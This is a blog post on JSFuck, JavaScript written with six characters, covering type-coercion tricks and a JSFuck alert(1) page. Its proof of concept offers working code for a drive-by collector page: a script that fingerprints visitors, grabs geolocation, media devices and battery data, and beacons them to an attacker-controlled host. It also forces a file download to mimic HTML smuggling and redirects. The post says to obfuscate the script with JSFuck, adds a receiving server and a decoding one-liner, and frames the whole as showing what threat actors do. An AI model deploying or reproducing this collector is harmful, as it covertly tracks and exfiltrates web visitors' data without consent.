Post

JSFuck for Javascript Obfuscation

Write any JavaScript with 6 Characters.

JSFuck for Javascript Obfuscation

Introduction

JSFuck is an esoteric subset of JavaScript, where code is written using only six characters: [, ], (, ), !, and +. The name is derived from Brainfuck, an esoteric programming language that also uses a minimalistic alphabet of only punctuation.

  • JSFuck Link: https://github.com/aemkei/jsfuck
  • JSFuck Encoder: https://jscrew.it/

Basics

JSFuck is valid JavaScript code, meaning that JSFuck programs can be run in any web browser or engine that interprets JavaScript. JSFuck is able to recreate all JavaScript functionality using such a limited set of characters because JavaScript allows the evaluation of any expression as any type.

JSFireTruck relies on type coercion, which automatically converts its limited set of symbols into the various ASCII characters or numeric values used in unobfuscated JavaScript code.

For example, to generate a number value of zero, we can use the following characters:

+[]

Desktop View +[]=1

Use the console Window in the browser for your testing

How does this work? In JavaScript, [] denotes an empty array. When you put a + in front of it, JavaScript automatically coerces it into a numeric type. Because an empty array has no content, converting it to a number yields 0.

Using this technique, you can create the number 1 with just a few characters as follows:

+!![]

Because the [] array is blank, prefixing it with ! converts it to the boolean value of False. Adding a second ! converts it to a boolean value of True. Prefixing the entire string with + converts it to a numeric value. When converting True to a number, its value is 1.

We can generate other numbers by adding the same +!![] text, which represents an additional value of 1. For example, we can generate the number 2 from:

+!![] + +!![]

We can generate the number 3 from:

+!![] + +!![] + +!![]

Desktop View +!![] + +!![] + +!![] = 3

Similarly, we can increase the numeric value by adding more +!![] text to the string.

We can also generate characters using this approach. For example, to create the character a, we can use the following code:

(![]+[])[1]

Desktop View (![]+[])[1] = a

In this example, ![] becomes the boolean value False as mentioned earlier. Adding the symbols for a blank array [] makes the string ![]+[], which represents False + no value. JavaScript uses type coercion to convert ![]+[] to the ASCII string False.

To select the second letter of the word False, we need the first offset (second character) of the string. We do this by enclosing the original symbols in parentheses and using 1 for the offset, so (![]+[])[1] is the code that generates the letter a.

Follow Along:

false       =>  ![]
true        =>  !![]
undefined   =>  [][[]]
NaN         =>  +[![]]
f           0=> (![]+[])[+[]]
0           =>  +[]
1           =>  +!+[]
2           =>  !+[]+!+[]
10          =>  +[[+!+[]]+[+[]]]
Array       =>  []
Number      =>  +[]
String      =>  []+[]
Boolean     =>  ![]
Function    =>  []["filter"]
run         =>  []["filter"]["constructor"]( CODE )()
eval        =>  []["filter"]["constructor"]("return eval")()( CODE )
window      =>  []["filter"]["constructor"]("return this")()

Threat Actors are now using this type of obfuscation.Below will review some malicious injected javascript.

1. Malicious Code -JSFuck

We now understand how just six characters can represent any JavaScript code. Malware authors use this technique to make code analysis more difficult.

The following source will do an alert(1):

1
2
3
4
5
6
7
8
9
10
11
12
13
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <script>
        [][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]][([+[![]]]+!!++([]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]])[+[]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]])[+!![]+[+!![]]]+(!!++([]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]])[+[]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]])[+!![]+[+!![]]]+([][[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+[]]+([+[![]]]+!!++([]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]])[+[]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]])[+!![]+[+!![]]]+(!![]+[])[+[]]+(!!++([]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]])[+[]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]])[+!![]+[+!![]]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+(+[]+[+[]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]])[+!![]+[+!!++([]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]])[+[]]]]+(![]+[])[+!![]]+(![]+[])[!![]+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]])()(+!![])
    </script>
</body>
</html>

Desktop View testing alert(1)

Including Payload under html file for easy running.Just Double Click.

POC

A thousands of websites with this type of obfuscated JavaScript injected into their webpage.

Spin up a Python Server:

1
python3 -m http.server 8000
  • Obfuscated Script:
1
2
3
4
5
6
7
8
9
10
11
12
<!DOCTYPE html>
<html>
<head>
  <title>Advanced Client Info Collector</title>
</head>
<body>
  <script>
    <<<PASTE OBFUSCATED CODE>>>
  </script>
  <p>Collecting info...</p>
</body>
</html>

Replace «>> with your obfuscated code.Below is the original code to obfuscate.Use the site `https://jscrew.it/` to do that stuff.

  • Original Code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
<script>
    (async function() {
      const info = {
        userAgent: navigator.userAgent,
        platform: navigator.platform,
        hardwareConcurrency: navigator.hardwareConcurrency || 'N/A',
        deviceMemory: navigator.deviceMemory || 'N/A',
        screenResolution: `${screen.width}x${screen.height}`,
        colorDepth: screen.colorDepth,
        timezone: Intl.DateTimeFormat().resolvedOptions().timeZone,
        language: navigator.language,
        online: navigator.onLine,
        cookiesEnabled: navigator.cookieEnabled,
        javaEnabled: navigator.javaEnabled ? navigator.javaEnabled() : 'N/A',
        plugins: Array.from(navigator.plugins).map(p => p.name).join(', ') || 'None',
        touchSupport: 'ontouchstart' in window || navigator.maxTouchPoints > 0,
        referrer: document.referrer || 'None',
        historyLength: history.length,
        windowSize: `${window.innerWidth}x${window.innerHeight}`,
        localTime: new Date().toString()
      };

      // Battery status if available
      if (navigator.getBattery) {
        try {
          const battery = await navigator.getBattery();
          info.battery = {
            level: battery.level,
            charging: battery.charging
          };
        } catch (e) {
          info.battery = "Unavailable";
        }
      } else {
        info.battery = "Unsupported";
      }

      // Media devices
      if (navigator.mediaDevices && navigator.mediaDevices.enumerateDevices) {
        try {
          const devices = await navigator.mediaDevices.enumerateDevices();
          info.mediaDevices = devices.map(d => `${d.kind}:${d.label || 'N/A'}`);
        } catch (e) {
          info.mediaDevices = "Access denied";
        }
      } else {
        info.mediaDevices = "Unsupported";
      }

      // Geolocation
      function sendInfo(extra) {
        const merged = Object.assign({}, info, extra);
        const json = encodeURIComponent(JSON.stringify(merged));
        // Send via GET request
        const img = new Image();
        img.src = `http://192.168.100.6:8000/?data=${json}`;
      }

      if (navigator.geolocation) {
        navigator.geolocation.getCurrentPosition(
          pos => {
            sendInfo({
              geolocation: {
                lat: pos.coords.latitude,
                lon: pos.coords.longitude,
                accuracy: pos.coords.accuracy
              }
            });
          },
          err => {
            sendInfo({ geolocation: 'Denied' });
          },
          { timeout: 3000 }
        );
      } else {
        sendInfo({ geolocation: 'Unsupported' });
      }

      // Create and trigger file download
      const textContent = "Thank you for visiting.\n\nYour information has been processed.";
      const blob = new Blob([textContent], {type: 'text/plain'});
      const url = URL.createObjectURL(blob);
      const a = document.createElement('a');
      a.href = url;
      a.download = 'info.txt';
      document.body.appendChild(a);
      a.click();
      URL.revokeObjectURL(url);

      // Redirect after short delay
      setTimeout(() => {
        window.location.href = 'https://example.com';
      }, 2000);

    })();
  </script>

Visiting Attackers Page

Once we visit attackers page system profiling is done and the information is sent to our attacker also a file is downloaded to emulate malware smuggling/html smuggling.Let’s examine.

Desktop View information sent back to the attacker

Let’s url decode the information: Use:

1
python3 -c "import urllib.parse, sys; print(urllib.parse.unquote(sys.argv[1]))" '<<<URL_ENCODED_SHIT>>>'

Desktop View Decoded infomation

  • What Was Exfiltred by Our Attacker?:

  • Technical environment (OS, CPU, memory, screen, plugins)
  • Locale (timezone, language)
  • Browsing context (history length, cookies, online status, window size)
  • etc

This is just a POC much can be done using JSFuck as shown above.

But using these obfuscation techniques has two drawbacks:

  • The obfuscated code usually involves a large amount of text
  • Due to the repeated use of the same characters, the obfuscated code is easy to detect, even if it is not easy to analyze

[GitHub license][mit]

This post is licensed under CC BY 4.0 by the author.